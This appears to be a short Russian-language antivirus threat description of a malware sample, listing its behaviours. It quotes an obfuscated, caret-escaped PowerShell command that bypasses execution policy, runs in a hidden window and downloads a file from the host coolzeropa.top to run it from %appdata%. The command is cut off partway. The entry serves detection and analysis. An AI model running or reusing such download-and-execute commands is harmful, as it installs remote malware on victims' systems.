Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^oWersheLl.e^XE ^-^E^X^EC^uT^iOnPo^liC^y b^yPaSs^ ^-^nO^P^RO^F^il^e ^-^wiN^dowStYl^e h^iDDEn ^(^N^ew^-^oBJ^eCT ^SYStEm.^nEt.wEBc^LIENt).^D^OWnLoAD^FIL^E^('http://coolzeropa....
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^oWersheLl.e^XE ^-^E^X^EC^uT^iOnPo^liC^y b^yPaSs^ ^-^nO^P^RO^F^il^e ^-^wiN^dowStYl^e h^iDDEn ^(^N^ew^-^oBJ^eCT ^SYStEm.^nEt.wEBc^LIENt).^D^OWnLoAD^FIL^E^('http://coolzeropa....' (со скрытым окном)
